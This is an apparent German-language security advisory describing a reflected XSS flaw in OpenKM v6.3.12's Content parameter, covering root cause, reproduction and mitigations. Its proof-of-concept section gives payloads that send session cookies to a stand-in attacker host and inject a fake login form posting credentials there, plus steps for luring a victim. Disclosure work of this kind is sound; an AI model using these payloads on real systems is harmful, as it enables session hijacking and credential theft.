🛡️ CVE-2026-30502 — Reflektiertes XSS in OpenKM v6.3.12

📌 Inhaltsverzeichnis

• Überblick
• CVE-Details
• Betroffenes Produkt
• Schwachstellenbeschreibung
• Ursachenanalyse
• Auswirkungen & Risikobewertung
• Proof of Concept (PoC)
• Behebung & Empfehlungen
• Offenlegungszeitplan
• Referenzen
• Über den Forscher

🔍 Überblick

Dieses Repository dokumentiert die verantwortungsvolle Offenlegung von CVE-2026-30502, einer Reflected Cross-Site Scripting (XSS)-Schwachstelle, die in OpenKM v6.3.12 identifiziert wurde – einem weit verbreiteten Open-Source-Dokumentenmanagementsystem, das in Unternehmens- und Regierungsumgebungen eingesetzt wird.

Die Schwachstelle besteht im Parameter Content, der vom Benutzer bereitgestellte Eingaben ohne ordnungsgemäße Bereinigung oder Ausgabekodierung an den Browser zurückspiegelt. Ein Angreifer kann eine bösartige URL mit eingebettetem JavaScript erstellen und ein Opfer durch Social Engineering dazu bringen, darauf zu klicken, was zur Ausführung des Skripts in der Browsersitzung des Opfers führt.

⚠️ Schweregrad: Mittel–Hoch | Angriffsvektor: Netzwerk | Erforderliche Berechtigungen: Keine | Benutzerinteraktion: Erforderlich

📋 CVE-Details

📦 Betroffenes Produkt

OpenKM ist ein freies und quelloffenes Dokumentenmanagementsystem (DMS), das eine Weboberfläche für die Verwaltung, Prüfung und Verteilung von Geschäftsdokumenten bietet. Es wird weltweit von Unternehmen, Regierungsbehörden und Bildungseinrichtungen eingesetzt.

• Produktname: OpenKM Dokumentenmanagementsystem
• Betroffene Version: v6.3.12
• Hersteller-Website: https://www.openkm.com
• Kategorie: Dokumentenmanagementsystem (DMS)
• Sprache / Stack: Java (JSP / Spring Framework)

🧨 Schwachstellenbeschreibung

Eine Reflected Cross-Site Scripting (XSS)-Schwachstelle wurde in OpenKM v6.3.12 über den Parameter Content identifiziert. Die Anwendung validiert oder kodiert keine vom Benutzer bereitgestellten Eingaben, bevor sie im HTTP-Antwortkörper zurückgespiegelt werden, sodass beliebiges JavaScript eingeschleust und im Browser des Opfers ausgeführt werden kann.

Im Gegensatz zu Stored XSS wird ein Reflected-XSS-Payload nicht in der Datenbank gespeichert – er befindet sich stattdessen in einer manipulierten URL. Der Angriff beruht darauf, dass das Opfer dazu verleitet wird, auf einen bösartigen Link zu klicken (per E-Mail, Social Media oder Phishing-Kampagnen zugestellt). Anschließend wird der Payload still im Browser mit dem Sitzungskontext des Opfers ausgeführt.

Angriffsablauf

Angreifer erstellt bösartige URL
        │
        ▼
Opfer klickt auf den Link (Phishing / Social Engineering)
        │
        ▼
Browser sendet GET/POST-Anfrage mit Payload im Parameter `Content`
        │
        ▼
OpenKM spiegelt die unsaubere Eingabe direkt in die HTML-Antwort zurück
        │
        ▼
Browser parst und führt das injizierte JavaScript aus
        │
        ▼
Sitzung gekapert / Anmeldedaten gestohlen / Konto kompromittiert

🔬 Ursachenanalyse

Die Schwachstelle resultiert aus dem Versagen der Anwendung, Eingabe-/Ausgabe-Sicherheitskontrollen für den Parameter Content durchzusetzen:

Benutzererstellte URL ──► Content-Parameter ──► [KEINE Validierung]
       ──► In HTML-Antwort zurückgespiegelt ──► [KEINE Kodierung]
              ──► Browser führt Skript aus ──► Konto kompromittiert

💥 Auswirkungen & Risikobewertung

Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zu Folgendem führen:

🧪 Proof of Concept (PoC)

⚠️ Haftungsausschluss: Die folgenden Informationen werden ausschließlich zu Bildungs- und Sicherheitsforschungszwecken im Rahmen der Grundsätze verantwortungsvoller Offenlegung geteilt. Testen oder verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zur Bewertung haben.

Payload-Beispiele (Allgemein)

// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

Manipulierte bösartige URL-Struktur

https://target-openkm-instance/[verwundbarer-Endpunkt]?Content=<script>alert(1)</script>

Schritte zur Reproduktion

1. Identifizieren Sie den verwundbaren Endpunkt in OpenKM v6.3.12, der den Parameter Content zurückspiegelt
2. Erstellen Sie eine URL mit einem an den Parameter Content angehängten XSS-Payload
3. Kodieren Sie den Payload bei Bedarf URL-kodiert
4. Senden Sie den manipulierten Link über E-Mail, Chat oder einen anderen Social-Engineering-Vektor an ein Opfer
5. Wenn das Opfer den Link in seiner authentifizierten Browsersitzung öffnet, wird der Payload ausgeführt
6. Beobachten Sie JavaScript-Ausführung, Cookie-Diebstahl oder Umleitungsverhalten

🛠️ Behebung & Empfehlungen

Für Entwickler / Hersteller

Für Systemadministratoren

• 🔒 Beschränken Sie den OpenKM-Zugriff über Firewall-Regeln auf interne/vertrauenswürdige Netzwerke
• 🛡️ Setzen Sie eine Web Application Firewall (WAF) mit XSS-Erkennungssignaturen als kompensierende Kontrolle ein
• 📊 Überwachen Sie Webserver-Zugriffsprotokolle auf unerwartete Skript-Tags oder kodierte Payloads in Abfragezeichenfolgen
• 🔄 Halten Sie die OpenKM-Installation auf dem neuesten sicheren Release
• 📧 Schulen Sie Benutzer, bei unaufgeforderten Links zum DMS Vorsicht walten zu lassen

📅 Offenlegungszeitplan

Während dieses Prozesses wurden die Grundsätze der vollständigen verantwortungsvollen Offenlegung befolgt, einschließlich der Koordination mit dem Hersteller und der Beteiligung des CVE-Programms vor jeder öffentlichen Veröffentlichung.

📚 Referenzen

• 🔗 MITRE CVE-Eintrag — CVE-2026-30502
• 🔗 NVD — National Vulnerability Database
• 🔗 OpenKM Offizielle Website
• 🔗 OWASP XSS-Präventions-Spickzettel
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 OWASP Java Encoder

👨‍💻 Über den Forscher

Dharmendra Kumar ist ein unabhängiger Cybersicherheitsforscher, der sich auf Websicherheit, Penetrationstests und verantwortungsvolle Schwachstellenoffenlegung spezialisiert hat. Seine Forschung konzentriert sich auf die Identifizierung und verantwortungsvolle Meldung realer Sicherheitslücken in weit verbreiteter Software – und trägt so zu sichereren Anwendungen für Benutzer weltweit bei.

Fachgebiete:

• 🌐 Webanwendungs-Penetrationstests
• 🐛 Bug-Bounty-Jagd & CVE-Forschung
• 🔍 Schwachstellenentdeckung & Sicherheitshinweise
• 📋 Verantwortungsvolle Offenlegung & koordinierte CVE-Berichterstattung

Vernetzen Sie sich mit mir:

⚖️ Rechtlicher Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungs- und Informationszwecke bestimmt. Die Schwachstellendetails und Proof-of-Concept-Payloads werden gemäß den Grundsätzen der verantwortungsvollen Offenlegung veröffentlicht. Der Autor befürwortet keine unbefugte Nutzung dieser Informationen und übernimmt keine Verantwortung dafür. Holen Sie vor der Durchführung von Sicherheitstests an einem System, das Ihnen nicht gehört, immer die ausdrückliche schriftliche Genehmigung ein.

🙏 Danksagungen

Besonderer Dank gilt:

• Dem OpenKM-Entwicklungsteam für ihre Kooperation und Reaktionsbereitschaft während der koordinierten Offenlegung
• Dem MITRE CVE-Programm für die Zuweisung und Verwaltung der CVE-Kennung
• Der globalen Sicherheitsforschungs- und Bug-Bounty-Community, die die Messlatte für Anwendungssicherheit kontinuierlich höher legt